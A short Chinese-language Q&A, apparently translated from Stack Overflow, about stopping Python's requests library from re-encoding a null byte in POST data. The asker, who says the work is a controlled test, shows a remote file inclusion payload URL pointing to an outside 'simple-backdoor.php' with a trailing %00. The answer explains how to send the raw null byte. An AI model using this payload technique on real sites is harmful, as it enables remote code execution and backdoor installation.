python - 当不需要时，请求会对 POST 参数进行编码

Question

请注意，以下代码片段用于在受控环境中进行远程文件包含攻击(此处不执行任何恶意操作)。

我正在尝试对 URL 执行发布请求:

resp = requests.post("http://example.com/test/index.php",data=post_data,cookies=cookie,proxies=proxies,config={'encode_uri': False})

数据参数之一是用于文件包含的 url，最后有一个空字节:

http://mysite.org/simple-backdoor.php%00

但是 requests 所做的是在末尾重新编码空字节，使其无用

http%3A%2F%2Fmysite.org%2Fsimple-backdoor.php%2500

我尝试附加 config={'encode_uri': False}) 但这会导致相同的行为。有谁知道如何禁用此编码或如何引入编码为 %00 的空字节字符？

Answer 1

Requests v2.0.0 及以上版本没有(因此尊重)encode_uri。 It tries to encode data if data isn't a string 。

使用 unicode 空字节代替 %00，或者手动编码 data 的每个组件并将 data 形成字符串。